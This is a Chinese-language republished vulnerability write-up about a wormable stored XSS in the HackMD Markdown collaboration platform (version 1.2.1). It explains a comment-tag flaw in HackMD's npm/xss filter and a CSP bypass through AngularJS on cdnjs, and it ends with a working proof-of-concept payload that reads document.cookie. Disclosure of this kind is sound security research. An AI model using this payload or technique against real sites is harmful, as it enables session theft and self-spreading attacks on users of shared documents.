Markdown协作平台HackMD的蠕虫型XSS

iso60001  1868天前

22.png

HackMD是一款由中国台湾地区开发的Markdown协作系统,全球都有不少用户,其软件源码也开放在GitHub上,已经得到4500多颗星。

HackMD整体代码的质量不低,所以没有太严重的漏洞。当然XSS之类的漏洞还是不可避免的。这次发现的是一个比较有趣的XSS漏洞,可以达到蠕虫传播的效果。

漏洞成因

以下皆以1.2.1版本为例

由于HackMD允许嵌入定制化的Web标签,所以为了防止XSS漏洞势必得对HTML代码进行过滤,HackMD使用了一个XSS防御函数库- npm/xss来防御!从相关的文档及GitHub上的Issue及星星数来看,这是一个很成熟的XSS防御系统,很难找到问题。

因此,我把焦点放到对函数库的使用上,再安全的函数库碰到不安全的用法也会出现问题。HackMD使用到npm/xss的位置位于public/js/render.jspreventXSS中,代码如下:

var filterXSSOptions = {
  allowCommentTag: true,
  whiteList: whiteList,
  escapeHtml: function (html) {
    // allow html comment in multiple lines
    return html.replace(/<(?!!--)/g, '&lt;').replace(/-->/g, '-->').replace(/>/g, '&gt;').replace(/-->/g, '-->')
  },
  onIgnoreTag: function (tag, html, options) {
    // allow comment tag
    if (tag === '!--') {
            // do not filter its attributes
      return html
    }
  },
  onTagAttr: function (tag, name, value, isWhiteAttr) {
    // allow href and src that match linkRegex
    if (isWhiteAttr && (name === 'href' || name === 'src') && linkRegex.test(value)) {
      return name + '="' + filterXSS.escapeAttrValue(value) + '"'
    }
    // allow data uri in img src
    if (isWhiteAttr && (tag === 'img' && name === 'src') && dataUriRegex.test(value)) {
      return name + '="' + filterXSS.escapeAttrValue(value) + '"'
    }
  },
  onIgnoreTagAttr: function (tag, name, value, isWhiteAttr) {
    // allow attr start with 'data-' or in the whiteListAttr
    if (name.substr(0, 5) === 'data-' || window.whiteListAttr.indexOf(name) !== -1) {
      // escape its value using built-in escapeAttrValue function
      return name + '="' + filterXSS.escapeAttrValue(value) + '"'
    }
  }
}

function preventXSS (html) {
  return filterXSS(html, filterXSSOptions)
}

为了使用者能够自定义过滤规则,npm/xss提供了多个不同的选项给使用者,而在onIgnoreTag这个回调中,判断如果是注解的标签便直接回传原始的HTML内容,关键代码如下:

if (tag === '!--') {
            // do not filter its attributes
      return html
    }

这段代码原本应该是想用于保留注释的内容!但是,由于没有任何过滤,就可能引起问题:

<!-- foo="bar--> <s>Hi</s>" -->

例如,如上代码就会把把bar--> ...当成一个属性值,但是-->会闭合前方的注解标签,如此一来攻击者便轻松地绕过防御,插入任意HTML代码!

绕过CSP

虽然已经绕过了npm/xss的防御,但是,HackMD还使用了CSP去阻挡未授权的前端代码执行,相关的CSP政策如下:

content-security-policy: sc ript-src 'self' vimeo.com https://gist.github.com www.slideshare.net https://query.yahooapis.com 'unsafe-eval' https://cdnjs.cloudflare.com https://cdn.mathjax.org https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com https://stats.g.doubleclick.net https://secure.quantserve.com https://rules.quantcount.com https://pixel.quantserve.com https://js.driftt.com https://embed.small.chat https://static.small.chat https://www.googletagmanager.com https://cdn.ravenjs.com 'nonce-38703614-d766-4dff-954b-57372aafe8bd' 'sha256-EtvSSxRwce5cLeFBZbvZvDrTiRoyoXbWWwvEVciM5Ag=' 'sha256-NZb7w9GYJNUrMEidK01d3/DEtYztrtnXC/dQw7agdY4=' 'sha256-L0TsyAQLAc0koby5DCbFAwFfRs9ZxesA+4xg0QDSrdI='; img-src * data:; style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://cdnjs.cloudflare.com https://fonts.googleapis.com https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com https://static.small.chat; font-src 'self' data: https://public.slidesharecdn.com https://cdnjs.cloudflare.com https://fonts.gstatic.com https://*.disquscdn.com; ob ject-src *; media-src *; fr ame-src *; child-src *; connect-src *; ba se-uri 'none'; form-action 'self' https://www.paypal.com; upgrade-insecure-requests

在整个规则中,我们可以看到,它允许来自https://cdnjs.cloudflare.com/的js脚本执行。这下事情就变得简单了,我们可以直接使用AngularJS函数库,配合客户端模板注入的方式的执行payload!

最终攻击代码

综合以上两点,得出:

<!-- foo="-->
<sc ript src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</sc ript>
<di v ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</di v>
//sssss" -->

如下视频也展示了可对所有共享恶意文档的用户进行攻击:

视频链接:

https://youtu.be/GRi2pz6_sGY

https://v.youku.com/v_show/id_XNDA5ODM4OTA0MA==.html?spm=a2h3j.8428770.3416059.1

感谢你的阅读!

本文由白帽汇整理,不代表白帽汇任何观点和立场
来源:https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html

最新评论

昵称
邮箱
提交评论